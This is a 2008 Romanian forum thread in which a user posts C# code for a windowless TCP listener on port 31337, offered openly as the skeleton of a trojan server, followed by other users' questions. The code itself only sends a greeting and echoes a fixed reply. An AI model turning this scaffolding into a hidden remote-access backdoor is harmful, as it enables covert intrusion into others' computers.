TE4L Posted April 16, 2008 Report Share Posted April 16, 2008 Deoarece Windows Vista este partial integrat in platforma .NET Framework trebuie sa stim sa lucram si in C#. MS lasa de inteles ca o sa faca ei cumva sa anuleze interportabilitatea programelor de pe linux pe windows.Deci, prin urmare m-am decis sa fac acest tutorial.Capitolul 1 - ServerulPasul 1 - Crearea unei aplicatii fara fereastraCream un proiect - eu l-am numit ServerStergem Form-ul principal.Intram in Program.cs si modificam. Sursa dupa modificare sa fie asa:using System;using System.Windows.Forms;namespace Server{ static class Program { [STAThread] static void Main() { } }}Pasul 2 - Crearea ServeruluiScriem functia urmatoare care tot incearca sa creeze serverul in caz ca nu ii iesestatic void StartServer(){ // Incercam sa vedem daca merge sa cream serverul try { createServer(); } // Daca nu merge incercam inca odata, si inca odata, s.a.m.d. catch { StartServer(); }}Acum facem functia createServer care creaza serverul propriuzis static TcpListener SV; static void createServer() { // se initializeaza portul int port = 31337; // se creaza serverul care "miroase" acel port SV = new TcpListener(IPAddress.Any,port); // se accepta doar o singura conexiune SV.Start(1); // cream un thread pentru a rula functia care "miroase" Thread newThread = new Thread(new ThreadStart(startListen)); // rulam threadul newThread.Start();}Acum functia care "miroase" acel portstatic void startListen(){ // cream un socket pentru conexiune Socket LS = SV.AcceptSocket(); // daca s-a conectat careva ii trimitem mesajul "Welcome" if (LS.Connected) { // cream octetii(bytes) care trebuie sa ii trimitem byte[] buffer = new byte[1024]; // salvam un mesaj in ei buffer = Encoding.Default.GetBytes("Welcome Dude :)"); // ii trimitem LS.Send(buffer); // in caz ca dupa trimitere m-ai suntem conectati stam si receptam date while (LS.Connected) { try { // lungimea mesajului receptat int len = LS.Receive(buffer); if (len != 0) { string msg = parseData(buffer, len); LS.Send(Encoding.Default.GetBytes(msg.ToCharArray())); } } catch { } } } // altfel mai incercam odata else { // cream un thread pentru a rula functia din nou care "miroase" Thread newThread = new Thread(new ThreadStart(startListen)); newThread.Start(); }}Acum functia care parseaza mesajul.static string parseData(byte[] buffer, int len){ return "Hy ";}La sfarsit, headerul din Program.cs esteusing System;using System.Windows.Forms;using System.Net;using System.Net.Sockets;using System.Threading;using System.Text;* Nu m-am complicat eu prea tare. V-am oferit o structura care o puteti folosii la crearea serverului unui troian in .NET Framework 2.0** Sursa: http://cqf.ifastnet.com/surse/schita-troian-server.rarPS: O sa revin in cursul zilei de azi cu ce lipseste - si anume clientul. Quote Link to comment Share on other sites More sharing options...
Vhaerun Posted April 16, 2008 Report Share Posted April 16, 2008 Care e functionalitatea serverului ? Eu nu o vad . Quote Link to comment Share on other sites More sharing options...
TE4L Posted April 16, 2008 Author Report Share Posted April 16, 2008 Serverul care se afla pe acel link nu face nimic. El e doar un exemplu.Priveste-i sursa ca o structura pe care poti sa creezi.Eu am tinut sa punctez niste aspecte: Sa nu aibe fereastra - ceea ce mi se pare normal Sa incerce sa fie online cat timp e rulat PC-ul Sa il fac astfel incat sa fie inteles de toata lumeaDaca vroiam sa fac un server pentru un troian il faceam in totalitate - nu pe jumatate Zi si tu, nu e destul sa stii cum sa faci asta? Restul vine de la voi cum ganditi comenzile pe care le primeste.Eu spun ca este destul ce am prezentat pentru a crea un troian in C#.NET folosint dotnet 2.0. Quote Link to comment Share on other sites More sharing options...
Vhaerun Posted April 16, 2008 Report Share Posted April 16, 2008 eu zic ca ai facut un tutorial despre socketuri , in care nu vorbesti despre socketuri Quote Link to comment Share on other sites More sharing options...
TE4L Posted April 16, 2008 Author Report Share Posted April 16, 2008 Chiar deloc. Am facut o structura peste care sa faci un Troian in C# - si am impus niste pasi.Dar special pentru tine o sa fac un tutorial despre socket-uri - zilele astea Intradevar folosesc socket-uri pentru a primii si trimite date. Dar nu asta era ideea. Quote Link to comment Share on other sites More sharing options...
ApologetX Posted April 17, 2008 Report Share Posted April 17, 2008 cu program folosesti? Quote Link to comment Share on other sites More sharing options...
go_sword Posted April 17, 2008 Report Share Posted April 17, 2008 foloseste cu program-ul visual c# , se vede in prima poza.. Quote Link to comment Share on other sites More sharing options...
TE4L Posted April 17, 2008 Author Report Share Posted April 17, 2008 Eu personal folosesc Visual Studio 2008. Ti-l sugerez. Poti sa downloadezi varianta free(express). Quote Link to comment Share on other sites More sharing options...